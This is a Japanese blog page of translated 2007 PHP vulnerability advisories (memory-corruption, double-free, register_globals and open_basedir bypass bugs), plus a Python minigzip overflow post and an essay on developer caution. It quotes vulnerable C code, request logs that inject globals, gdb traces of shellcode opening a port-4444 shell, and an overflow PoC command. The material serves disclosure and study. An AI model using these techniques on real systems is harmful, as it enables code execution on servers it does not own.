適切な修正は、PHPのリソースシステムに使用数のカウンタをサポートするように作り直し、利用するようにしなければなりません。または、リソースの参照カウンタをこの目的に利用することも可能です。
この問題の修正には非常に多くの作業が必要であるため短期間での修正は難しいでしょう。
フィードバックはまだありません...
コメントを残す
MOPB-27-2007:PHP ext/gd Already Freed Resource Access Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-27-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-27-2007.php
http://www.php-security.org/MOPB/code/MOPB-27-2007.php
■リファレンス
なし
■サマリ
GD関数が呼ばれた場合、その後の処理のために最初にリソースデータが取得されます。リソースデータの取得後にこれらの関数がエラーで割り込まれた場合、悪意のあるユーザエラーハンドラによりイメージリソースを特別に用意された偽のリソースへの置き換えが可能になります。これは任意のメモリアドレスへの読み書きを許し、任意コードの実行に利用可能です。
■影響するバージョン
PHP 4.4.6以下、PHP 5.2.1以下
(訳注:ただしGD以外のモジュールには最新版でも同類の脆弱性がある)
■詳細情報
PHP関数はZendエンジンに登録したリソースのデータ構造を維持しなければなりません。リソースシステムは参照カウンタを持っており参照カウンタはリソースを保持するPHP変数の参照数のみ保持しています。しかし、幾つの関数がリソースを使っているか数えるカウンタはありません。
このため、PHPコードの中に特別なバグの種類が存在します。PHP関数がリソースデータを取得した後にユーザコードによる割り込みが可能な場合、リソースを解放し、例えば同じサイズの文字列を解放されたリソースとして同じメモリ位置に割り当てることが可能です。悪意のある割り込みにより関数が終了し、置き換えられたリソースデータを継続して使用すると、このPHP文字列は特別に生成されたリソースを作るために利用でき、PHP関数により攻撃に利用できます。
関数に割り込むには、通常、オブジェクトを引数として渡すだけで十分です。オブジェクトを引数として渡すとPHPはlong型への変換の際にエラーを発生させます。関数が発生させる他の警告エラーや通知エラーも利用可能です。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードはsubstr_compare()関数の情報漏洩脆弱性を利用して有効なオフセットを決定しています。このため、攻撃コードはPHP5のみで動作します。しかし、より多くのメモリ情報リークが可能な他のGD関数を使用して良い効率的なpeek()関数を実装できます。したがってこの攻撃はPHP4でも行えます。
攻撃コードはいつものように4444ポートで待機し、接続するとシェルを起動します。
■備考
この種類の脆弱性はGDモジュールのみでなく、他の多くのモジュールも脆弱です。
適切な修正は、PHPのリソースシステムに使用数のカウンタをサポートするように作り直し、利用するようにしなければなりません。または、リソースの参照カウンタをこの目的に利用することも可能です。
この問題の修正には非常に多くの作業が必要であるため短期間での修正は難しいでしょう。
フィードバックはまだありません...
コメントを残す
MOPB-26-2007:PHP mb_parse_str() register_globals Activation Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-26-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-26-2007.php
http://www.php-security.org/MOPB/code/MOPB-26-2007.php
■リファレンス
HPHP-19-2005
■サマリ
parse_str関数のマルチバイト版のmb_parse_str関数が一つのパラメータのみで呼び出された場合、memory_limit制限などで割り込まれると内部的に有効化されたregister_globals設定が無効化されません。このため、このApacheプロセスはPHPコードからは検出不可能な状態でregister_globals設定が有効化されてしまいます。
この脆弱性は2005年にHardened-PHPプロジェクトが非マルチバイト版のparse_strに発見した脆弱性と類似しています。
■影響するバージョン
PHP 4.4.6以下、PHP 5.2.1以下
■詳細情報
mb_parse_str()関数が一つの引数で呼び出された場合、内部的にregister_globalsを有効化します。この有効化memory_limitによる割り込みを考慮せずに直接メモリのフラグを操作によって行われています。
if (info->force_register_globals) {
prev_rg_state = PG(register_globals);
PG(register_globals) = 1;
}
もしフラグのリセットが行われる前にスクリプトの実行が停止すると、フラグが元に戻されないので非常に危険です。これは添付の攻撃コードで示すようにメモリリミット違反などにより攻撃可能な状態が発生します。
この種のregister_globalsの有効化はPHPスクリプトからはregister_globalsが無効に見えてしまい、Apacheのチルドプロセスが終了するまでregister_globalsが有効化されてしまうので、php.ini設定によるregister_globalsの有効化より危険です。register_globals有効化に対するセーフガードはほとんど機能しません。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードはメモリリミット制限近くまでメモリを割り当てます。その後、mb_parse_str()関数を呼び、内部的にregister_globalsが有効化されている間にmemory_limit制限違反を発生させます。
この脆弱性をテストするにはApacheサーバを少なくとも2つの仮想ホストを有効化し、サーバ全体でregister_globals設定を無効化して機動している必要があります。そして、以下の様なリクエストを送信します。
GET /rg.php?global_var=injected_global_var HTTP/1.1
Host: mopb-test
Connection: Keep-Alive
Keep-Alive: 100HTTP/1.1 200 OK
Date: Sun, 18 Mar 2007 13:33:10 GMT
Server: Apache
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-112
string(0) ""
NULL0
GET /MOPB-26-2007.php HTTP/1.1
Host: other-vhost
Connection: Keep-Alive
Keep-Alive: 100HTTP/1.1 200 OK
Date: Sun, 18 Mar 2007 13:33:10 GMT
Server: Apache
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1b4
Fatal error: Allowed memory size of 482344960 bytes exhausted (tried to allocate 164001 bytes) in /var/www/other-vhost/MOPB-26-2007.phpon line 290
GET /rg.php?global_var=injected_global_var HTTP/1.1
Host: mopb-test
Connection: CloseHTTP/1.1 200 OK
Date: Sun, 18 Mar 2007 13:33:14 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-12e
string(0) ""
string(19) "injected_global_var"
この場合、rg.phpスクリプトはini_get("register_globals");とグローバル変数global_varの値のみを出力します。グローバル変数が最後のリクエストで、ini_get()関数ではregister_globalsは無効であるにも関わらず、グローバル変数が設定されていることは明らかです。
■備考
この種類の脆弱性の危険性は、多くの最近のスクリプトはregister_globalsの有効化されていると、警告を表示したり、処理を中止したり、register_globalsの処理が無かったように処理したりしていますが、これらの処理が役に立たなくなる点です。
この脆弱性を攻撃された場合、スクリプトはregister_globalsが有効化されていることに(醜いトリックを使わない限り)気付かず、register_globalsが無効化されているものとして実行してしまいます。
mod_php(訳注:PHPをWebサーバのモジュールとして)を利用している共有環境では悪意のあるユーザによってほかのVHOSTのregister_globalsが有効化されてしまいます。専用環境の場合、mb_parse_str()関数が1つの引数でのみ利用されている場合、register_globalsを有効化され更なる攻撃に利用されます。
フィードバックはまだありません...
コメントを残す
MOPB-25-2007:PHP header() Space Trimming Buffer Underflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-25-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-25-2007.php
http://www.php-security.org/MOPB/code/MOPB-25-2007.php
■リファレンス
MOPB-19-2007
■サマリ
PHP 5.2.0以降のメモリマネージャーは1バイトのアンダーフロー脆弱性の場合も攻撃を許してしまいます。
header()関数に全て空白の文字列が渡された場合、少なくともPPC MacOS Xのようなビッグエンディアンシステムの場合、コード実行が可能となります。
■影響するバージョン
PHP 5.2.0
■詳細情報
PHP 5.2.0は簡単なmalloc()/free()のラッパー関数を含まない、リクエストメモリプールを実装する独自のヒープ管理を行う新しいメモリマネージャを利用しています。新しいヒープ管理機構は内部に制御情報を含み、これによりオーバーフロー攻撃に脆弱になりました。さらに、以前のメモリマネージャと異なり、1バイトのアンダーフローに脆弱になりました。
header()関数が呼ばれると、空白文字のトリムを行います。これは以下のコードで実行されます。
/* cut of trailing spaces, linefeeds and carriage-returns */
while(isspace(header_line[header_line_len-1]))
header_line[--header_line_len]='\0';
このコードは後ろの空白文字列をポインタを前に移動させ文字列の終端にNULLバイトを書き込みトリムを行います。残念ながら、すべて空白文字の場合、前へのポインタ移動が文字列の先端で終了しないため、このトリムは正しく動作しません。割り当てられたメモリアドレスの1バイト前の値がASCIIの空白文字である場合、このトリムコードは割り当てられたメモリアドレスの1バイト前にNULLバイトを書き込みます。
新しいメモリマネージャはバッファの先頭にメモリブロックのサイズを保存しています。リトルエンディアンのシステムでは、メモリブロックの1バイト前にASCIIの空白文字となる値が書き込まれるのは非現実的です。しかし、PPCのようなビッグエンディアンシステムの場合、リモートの攻撃者がバッファの直前の1バイトがASCIIの空白文字となるようなヒープレイアウトを作ることが可能です。トリムコードはそのバイトをNULLバイトで上書きする為、制御情報を破壊し、フリーメモリブロックのメモリリストのアンリンク時に行える標準的な攻撃が可能となり、POCで示すようにリモートからコード実行が可能となります。
$ gdb ./php
(gdb) run MOPB-25-2007.php
Starting program: /Users/Benutzer/php-5.2.0/sapi/cli/php MOPB-25-2007.php
Reading symbols for shared libraries . doneProgram received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x55555561
_zend_mm_free_int (heap=0x2000400, p=0xcba9e8) at /Users/Benutzer/php-5.2.0/Zend/zend_alloc.c:480
480 prev->next_free_block = next;
これはリンクリストのフリーリスト内部での典型的なクラッシュを示しています。有効なオフセットを使用することにより任意のコードを実行できます。デモ攻撃はローカルで動作するので、substr_compare()関数の情報漏えいぜい弱性を利用して有効なオフセットを自動的に決定します。これは以下のようになります。
$ gdb ./php
(gdb) run MOPB-25-2007.php
Starting program: /Users/Benutzer/php-5.2.0/sapi/cli/php MOPB-25-2007.php
Reading symbols for shared libraries . done
^C
Program received signal SIGINT, Interrupt.
0x00cd4544 in ?? ()
(gdb) x/20x $pc
0xcd4544: 0x44000002 0x7c000278 0x7c7e1b78 0x38a00002
0xcd4554: 0x3800005a 0x7fc3f378 0x7ca42b78 0x44000002
0xcd4564: 0x7c000278 0x38a5ffff 0x2c05ffff 0x4082ffe5
0xcd4574: 0x38000042 0x44000002 0x7c000278 0x7ca52a79
0xcd4584: 0x4082fffd 0x7c6802a6 0x38630028 0x9061fff8
(gdb) x/5i $pc
0xcd4594: stw r5,-4(r1)
0xcd4598: addi r4,r1,-8
0xcd459c: li r0,59
0xcd45a0: sync
0xcd45a4: sc
(gdb) bt
#0 0x00cd4544 in ?? ()
#1 0x00cd44fc in ?? ()
warning: Previous frame identical to this frame (corrupt stack?)
#2 0x0020ffd8 in _zval_dtor_func (zvalue=0xb) at /.../php-5.2.0/Zend/zend_variables.c:43
#3 0x00204144 in _zval_ptr_dtor (zval_ptr=0xcbb4bc) at /.../php-5.2.0/Zend/zend_variables.h:35
...
(gdb) continue
この例はコード実行攻撃が成功し、4444ポートに誰かが接続するのを待っていることを示しています。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードはこのバッファアンダーフローが攻撃可能で、PPC MacOS Xプラットフォームでコード実行を許してしまうことをデモンストレーションしています。この攻撃は、攻撃に利用する関数が異なることをheader()関数が失敗するため出力が省略されている点を除けば、MOPB-19-2007と全く同じです。
この攻撃コードは有効なオフセットを決定するためにsubstr_compare()関数の情報漏えい脆弱性を利用しています。
攻撃が成功すると、攻撃コードは4444ポートに接続するとシェルを起動します。シェルコードはMetasploitシェルコードジェネレータから借用しています。
■備考
論理的には、この脆弱性はリモートから攻撃可能です。まだ多くのPHPアプリケーションはheaderインジェクションに脆弱です。しかし、リモートからのインジェクション攻撃が成功するためには文字列の最初からインジェクション可能でなければなりません。(\0によるトランケート動作)
(訳注:攻撃なコードはheader($_GET['location']) のようなコードでなければならない。原理的には”Location: http://example.com/some/where/ "といった文字列を$_GET['location']に設定すれば、正しいHTTPヘッダになりますが、この様なコードは別のセキュリティ問題含むため元々間違っています。注意: HTTP Response Splittingに脆弱でないheader()でheader('Location: '.$_GET['location'])としてもセキュリティ上問題です)
さらに、この攻撃コードは類似している脆弱性性に対して攻撃コード全体がほとんど変更なしに再利用であるか示しています。
フィードバックはまだありません...
コメントを残す
MOPB-24-2007:PHP array_user_key_compare() Double DTOR Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-24-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-24-2007.php
http://www.php-security.org/MOPB/code/MOPB-24-2007.php
■リファレンス
なし
■サマリ
array_user_key_compare()は、例えばuksort()など、利用される内部関数(訳注:PHPコードから利用できる関数です)です。この関数はキーの値を比較するユーザが定義した配列比較関数として呼び出すことが目的です。この関数が復帰する際にパラメータがリファレンスで渡されていたとしても両方のパラメータは開放されてしまいます。このため既に開放済みのZVALがシンボルテーブルに残り、任意コード実行攻撃に利用可能な二重のDOTRが可能な状態になります。
■影響するバージョン
PHP 4.4.6以下、PHP 5.2.1以下
■詳細情報
例えばuksort()関数がユーザスペースでキーを比較するためにarray_user_key_compare()関数を内部的に呼び出されると、array_user_key_compare()関数はa,bの2つのハッシュバケットからkey1,key2のZVALを取得します。これらのZVALはユーザスペースの関数に渡され、zval_dtor()(訳注:PHP内部のZVALデストラクタ関数)によって開放されます。
static int array_user_key_compare(const void *a, const void *b TSRMLS_DC)
{
...
zval key1, key2;
zval *args[2];
...
args[0] = &key1;
args[1] = &key2;
...
status = call_user_function(EG(function_table), NULL, *BG(user_compare_func_name), &retval, 2, args TSRMLS_CC);zval_dtor(&key1);
zval_dtor(&key2);
...
}
このコードの問題点はユーザスペースの関数がリファレンスのキーを渡すかもしれない点を考慮していないことです。単純にzval_dtor()によって開放すると既に開放済みのメモリを参照してしまいます。これによりあらゆるメモリ破壊が発生し添付の攻撃コードで示すように任意コード実行攻撃にも利用できます。
この問題を解決する正しい方法はzval_dtor()を変数の解放前にリファレンスを考慮するzval_ptr_dtor()に置き換えることです。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードはMOPBの最初に紹介したバグをトリックに利用しています。文字列をハッシュテーブルの同じ場所に配置し、ハッシュテーブルの初めに配置されたエントリのアドレスを読み出し、シェルコードへのオフセットを割り出し、同じ文字列を使ってハッシュテーブルのデストラクタフィールドを上書きします。ハッシュテーブルが開放される際にコードが実行されます。
■備考
この脆弱性はローカルからのみ攻撃可能です。しかし、攻撃コードはPHP4とPHP5でいかに簡単に任意のマシン語実行できるか示し、PHPに組み込まれたdisable_functions, open_basedir, safe_modeが完全に無意味であることを明らかにしています。
フィードバックはまだありません...
コメントを残す
MOPB-23-2007:PHP 5 Rejected Session Identifier Double Free Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-23-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-23-2007.php
http://www.php-security.org/MOPB/code/MOPB-23-2007.php
■リファレンス
MOPB-22-2007.php
http://www.php-security.org/MOPB/code/MOPB-23-2007.php
■サマリ
PHP 5.2.0のセッションモジュールからセッションIDを拒否できるようになりました。例えば悪意があると思われる文字などで拒否します。セッションモジュールにセッションIDが無効であることが通知されると、セッションID生成コードを呼び出す前に既に開放済みの無効なセッションIDへポインタをクリアしていません。セッションID生成コード中でエラーが発生した場合、ローカルからは簡単に攻撃可能、リモートからも攻撃可能となる可能性がある、ダブルフリーが発生させることができます。
■影響するバージョン
内部のセッションストレージモジュールがセッションIDを拒否する場合、フラグを設定してセッションモジュールに通知します。このアドバイザリを書いている時点では、デフォルトのファイルストレージモジュールのみ、このフラグを利用しています。無効なセッションIDが送信され、このフラグが設定された場合、無効なIDへのポインタは開放され新しいIDへのポインタが設定されます。
...
new_session:
PS(id) = PS(mod)->s_create_sid(&PS(mod_data), NULL TSRMLS_CC);
...
PS(invalid_session_id) = 0;
if (PS(mod)->s_read(&PS(mod_data), PS(id), &val, &vallen TSRMLS_CC) == SUCCESS) {
php_session_decode(val, vallen TSRMLS_CC);
efree(val);
} else if (PS(invalid_session_id)) { /* address instances where ... due to an invalid id */
PS(invalid_session_id) = 0;
efree(PS(id));
goto new_session;
}
しかし、この代入はアトミックな操作ではありません。memory_limit制限などにより割り込み可能です。PHPの設定によっては、PHPエラーによりセッションID生成コード中に割り込むことができます。
PHPAPI char *php_session_create_id(PS_CREATE_SID_ARGS)
{
...
switch (PS(hash_func)) {
...
default:
php_error_docref(NULL TSRMLS_CC, E_ERROR, "Invalid session hash function");
efree(buf);
return NULL;
}
...
if (PS(hash_bits_per_character) < 4
|| PS(hash_bits_per_character) %gt; 6) {
PS(hash_bits_per_character) = 4;php_error_docref(NULL TSRMLS_CC, E_WARNING, "The ini setting hash_bits_per_character...");
}
...
このため悪意のあるユーザ定義エラーハンドらを利用してこの問題をローカルから攻撃するのは非常に簡単です。このハンドラが呼ばれた時、前のセッションIDが配置された同じ場所にハッシュテーブルが割り当てられます。ユーザエラーハンドラが終了する際にPHPは上書きされたハッシュテーブルを解放し、攻撃者のコードを実行します。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードを実行すると、substr_compare()関数の情報漏えい脆弱性を利用してシェルコードのアドレスを決定して実行します。
■備考
この脆弱性は前の脆弱性と非常に良く似ています。同じ種類・分類の脆弱性ですが、これらは同じ脆弱性ではありません。攻撃方法はほとんど同じですが、脆弱性を発生させるコードはそれぞれ別のPHPバージョンから導入され、直接関係していません。さらに、この脆弱性は、前の脆弱性と異なり、リモートからの攻撃が容易な物になっています。従ってリモートからの攻撃が可能である可能性は高くなっています。この仮定が正しいか将来調査するかもしれません。
フィードバックはまだありません...
コメントを残す
SQLインジェクションカンニングシート
リンク: http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/
XSSに比べSQLインジェクションは非常に簡単に防げる脆弱性ですが、まだまだなくなりません。
SQL Injection Cheat Sheetが公開されています。
http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/
XSS Cheat Sheatと同じような形式になっています。PostgreSQL、MySQL、MS SQL Server、Oracle、その他と攻撃可能なDBMSもわかるようになっています。
フィードバックはまだありません...
コメントを残す
MOPB-22-2007:PHP session_regenerate_id() Double Free Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-22-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:必要なし
■PoCまたは攻撃コード
MOPB-22-2007.php
http://www.php-security.org/MOPB/code/MOPB-22-2007.php
■リファレンス
なし
■サマリ
新しいセッションIDを生成するsession_regenerate_id()関数は、セッションIDの生成コードを呼ぶ前に既に、解放済みの前のポインタをクリアしていません。セッションID生成コードでエラーが発生するとダブルフリーが発生します。この脆弱性はローカルでは簡単に攻撃可能で、リモートからの攻撃も可能となる場合があります。
■影響するバージョン
PHP 5.2.1以下。 PHP4はリモート攻撃が可能だとする仮定が成立する場合にのみ影響する。(追加情報を提供します)
■詳細情報
session_regenerate_id()関数ははじめに古いセッションIDを解放します。その直後にセッションID生成コードによって生成された新しい値を代入します。
PHP_FUNCTION(session_regenerate_id)
{
...
if (PS(id)) {
...
efree(PS(id));
}PS(id) = PS(mod)-&gt;s_create_sid(&PS(mod_data), NULL TSRMLS_CC);
PS(send_cookie) = 1;
php_session_reset_id(TSRMLS_C);RETURN_TRUE;
}
RETURN_FALSE;
}
しかし、この代入はアトミックに行われず、例えばmemory_limit制限などにより、割り込みが可能です。さらに、PHPの設定によっては、生成コードは割り込みを可能とするPHPエラーを発生させます。
PHPAPI char *php_session_create_id(PS_CREATE_SID_ARGS)
{
...
switch (PS(hash_func)) {
...
default:
php_error_docref(NULL TSRMLS_CC, E_ERROR, "Invalid session hash function");
efree(buf);
return NULL;
}
...
if (PS(hash_bits_per_character) < 4
|| PS(hash_bits_per_character) > 6) {
PS(hash_bits_per_character) = 4;php_error_docref(NULL TSRMLS_CC, E_WARNING, "The ini setting hash_bits_per_character...");
}
...
この為、悪意のあるユーザ定義エラーハンドラを利用してローカルから攻撃するのは非常に簡単です。このハンドラが呼ばれた時、前のセッションIDが配置された同じ場所にハッシュテーブルが割り当てられます。ユーザエラーハンドラが終了する際にPHPは上書きされたハッシュテーブルを解放し、攻撃者のコードを実行します。
■PoC、攻撃コードまたは再現手順
添付の攻撃コードを実行すると、substr_compare()関数の情報漏えい脆弱性を利用してシェルコードのアドレスを決定して実行します。
■備考
この脆弱性をローカルから攻撃するのは非常に簡単です。しかし、セッションIDの生成中にリクエストが終了する場合にもダブルフリーが発生します。例えば、セッションIDの生成中にmemory_limit制限に達した場合などにリクエストの終了が発生します。
リモートからの攻撃は可能に思えますが非常に難しいでしょう。この仮定が正しいか将来調査するかもしれません。
フィードバックはまだありません...
コメントを残す
MOPB-21-2007:PHP compress.bzip2:// URL Wrapper safemode and open_basedir Bypass Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-21-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:必要なし
■PoCまたは攻撃コード
必要なし
■リファレンス
なし
■サマリ
bz2拡張モジュールで定義されるbzip2:// URLラッパーはsafe_mode、 open_basedirチェックを全く行っていません。この為、safe_mode、open_basedir制限に関わらずアクセス可能です。
■影響するバージョン
PHP 5.2.1以下
■詳細情報
必要なし
■PoC、攻撃コードまたは再現手順
脆弱性を確認するにはopen_basedir/safe_modeを有効にし、アクセスが許可されていないアーカイブファイルにbzip2:// URLラッパーを使用してアクセスするだけです。
■備考
safe_modeとopen_basedirは、設計上の問題があり、この例のように常にセキュリティホールが発生する機能です。(私たちがロカールな攻撃を示したように)サーバの安全性を維持するためにこれらの設定に「絶対」頼ってはなりません。
フィードバックはまだありません...
コメントを残す
MOPB-20-2007:PHP zip:// URL Wrapper safemode and open_basedir Bypass Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-20-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:なし
■PoCまたは攻撃コード
必要なし
■リファレンス
なし
■サマリ
PHP 5.2.0 と一緒にリリースされ、zip:// URLラッパーを定義しているPECL拡張モジュールはsafe_mode, open_basedirのチェックを全く行っていません。open_basedir, safe_modeで制限に関わらずアーカイブファイルにアクセスできます。
■影響するバージョン
PHP 5.2.0以下
■詳細情報
必要なし
■PoC、攻撃コードまたは再現手順
脆弱性を確認するにはopen_basedir/safe_modeを有効にし、アクセスが許可されていないアーカイブファイルにZIP URLラッパーを使用してアクセスするだけです。
■備考
safe_modeとopen_basedirは、設計上の問題があり、この例のように常にセキュリティホールが発生する機能です。(私たちがロカールな攻撃を示したように)サーバの安全性を維持するためにこれらの設定に「絶対」頼ってはなりません。
フィードバックはまだありません...
コメントを残す
Pythonも危ない...
MOPBでPHPのセキュリティホールばかり書いているので「PHP本体のコード、最低だね」と思われているかも知れません。他の言語でも「最低」なコードは探せば いくつでも見つかると思います。今日、full-disclosureに投稿された記事です。
Description:
The source of python contain a various modules, the zlib module contain a minigzip tool, ( * minigzip is a minimal implementation of the gzip utility. ).
Source error:
the error was found in:
- void file_compress(file, mode)
because the use of strcpy() is inapropriatly--
#define MAX_NAME_LEN 1024
[..]
void file_compress(file, mode)
char *file;
char *mode;
{
local char outfile[MAX_NAME_LEN];
FILE *in;
gzFile out;strcpy(outfile, file);
strcat(outfile, GZ_SUFFIX);
--the function file_compress() was called by main() function.
Proof of concept:
if you want test the vulnerability try:
$ minigzip `perl -e "print 'A'x1050"`-- starcadi
教科書に書いてあるstrcpy()スタックバッファオーバーフローに脆弱です。固定バッファ&長さチェック全くなし.... そう言えばMOPBでもこれとほぼ同じ脆弱性が解説されています。偶然なのか、関連があるのか興味があるところです。
(備考:もしかすると作者はファイル名が関数にわたるまでに開いてみるので長すぎるファイル名は渡せない、と考えたのかも知れません。作者のシステムではMAX_NAME_LENとシステムの最大パス名が同じだったのかも知れません。いずれにせよ、危険なコードを書いてしまう考え方です)
モジュール作者の能力の問題もあるかも知れませんが、スクリプト系言語とは言えプログラミング言語なので「自分で自分の首を絞める」ようなコードには対応していない場合も多いと思います。バッファオーバーフロー脆弱性を使わなくてもスクリプトだけでいくらでも悪意をもった行為が行えます。言語なので多少のバッファオーバーフローくらいは問題にならない、と考えている開発者も多いと思います。言語とその言語のモジュール型ライブラリにどの程度のセキュリティを達成させるか?微妙な問題です。
しかし、一つ一つは小さな問題(このPythonの脆弱性も重要度としては「中」レベル)でもスクリプト系言語とそのモジュールはメモリ管理エラーが無い方が望ましいと思います。小さな脆弱性でも組み合わせて重大な影響を与える攻撃が可能になる場合は多いです。Pythonの場合、バッチではなくGUIアプリケーションも多いのでユーザがZIPファイルを開いたら、攻撃コードが実行された(例えば、4321ポートで接続を待つ)などとなりかねないです。Webの場合も同じようにZIPファイルを扱うアプリには、同様の攻撃が行えるかも知れません。
PHPの場合、特殊で多くの共有型Webホスティングサービスで利用可能である事、「自分で自分の首を絞める」コードにもある程度対応してしまっている事から問題を複雑にしています。この結果、PHPの場合は他の言語よりも高いレベルのセキュリティを求められていると思います。
以前、mod_phpと悪意を持った外部プログラムを組み合わせて利用するとApacheのログの読み書きが自由に行える脆弱性が公開されていました。アドバイザリではmod_phpだけ記載されていましたが、この脆弱性もmod_phpに限ったことではありません。mod_python, mod_perl, mod_rubyでも同じ事が可能です。
Month of Python/Perl/Ruby Bugs (Python/PerlはMOPBですね)してくれないかな...
フィードバックはまだありません...
コメントを残す
想像力と鈍感力
少し前になりますが小泉前首相が安部首相に対して「鈍感力も大事」と言っていましたが、良い事を言うなあ、と思って聞いていました。「鈍感力」は日常生活でも必要不可欠です。
例えば、道を歩いているだけでも交通事故合うかもしれないです。飛行機に乗ると墜落するかも知れません。もしかすると寝ていても隕石が落ちてきてあたるかも知れません。隕石に当たって死亡する事を心配する人はいないと思いますが、交通事故や飛行機事故を心配する人は多いと思います。可能性を考えすぎると怖くて何も出来なくなります。
コンピュータを使っていても同じです。ネットワークを盗聴されているかも知れません。OSにセキュリティホールがあるかも知れません。ブラウザにセキュリティホールがあるかも知れません。Webサイトにもセキュリティホールがあるかも知れません。可能性を考えすぎると怖くて使えなくなります。
コンピュータの利用には非常に多くのリスクが存在します。CVEに登録・公開されているセキュリティホールはほんの一部で氷山の一角でしかありません。ソフトを全て最新版にしても新しいバージョンに新たなセキュリティホールがあるかも知れません。あり得ないですが仮に「ソフトが全部安全」だとしてもハードウェアに仕組まれた「ソフト(ファームウェア)」に攻撃コードが含まれているかも知れません。コンピュータを実際に利用するには「鈍感力」がないと利用できないほどリスクが沢山あります。
しかし、ソフトウェア開発者にはセキュリティ「鈍感力」は(あまり)必要ありません。「鈍感力」より「想像力」が必要です。ここで間違えるとセキュリティ上の問題になるかも!この仕様だと他の仕様と組み合わせるとセキュリティホールになるかも!と想像できないとならないです。だれであっても、どれだけ経験・知識があっても、どんなに想像力があっても、全ての脆弱性を想像する事は不可能です。
開発者は「想像力」豊かに、利用者は(ある程度)「鈍感力」を持って、コンピュータを利用する必要があります。
# 開発者・利用者ともに「鈍感力」を鍛えすぎ、かな....
1 コメント
周りの環境にまで想像力を働かせすぎると何も作れません。開発者といえどもライブラリやプラットフォームはある程度信用できる物として扱い、ある程度は「鈍感力」で対処する必要があると思います。
基本的には開発者が開発を行っているプロダクトにのみ想像力を働かせればよいと思います。
一般的なセキュリティ対策と同じで、要はバランスです。フレームワークなどに頼りきってはいけませんが、頼っても良い部分は頼り、疑うべき部分は疑わなければなりません。鈍感に対処できる部分は鈍感にならないと、どんなシステムでも開発できません。
# 例えば、SSLが信用できないかも、
# と思っても自分で作る訳にはいか
# ないですから。
しかし、一般的には開発者の多くは「鈍感力」が豊か過ぎだと思います。MOPBを見て頂ければ豊かな「鈍感力」には大きな弊害と危険性がある事を理解できると思います。
コメントを残す
MOPB-19-2007:PHP ext/filter Space Trimming Buffer Underflow Vulnerability
リンク: http://www.php-security.org/MOPB/MOPB-19-2007.html
Stefanさんの承諾を得て日本語訳を公開しています。このブログの「the Month of PHP Bugs」カテゴリでMOPBの翻訳ページを一覧できます。分かりやすいように意訳できる部分は意訳します。厳密に原文の通り訳していないので正確性を重視される方は原文をご覧ください。
■クレジット
発見者:Stefan Esser
攻撃コード:Stefan Esser
■PoCまたは攻撃コード
MOPB-19-2007.php
http://www.php-security.org/MOPB/code/MOPB-19-2007.php
■リファレンス
なし
■サマリ
PHP 5.2.0から新しくFilter拡張モジュールが追加されました。このモジュールはアプリケーションからユーザ入力をフィルタしたり、サイト全体に対する入力フィルタ機能を実装するために利用されます。
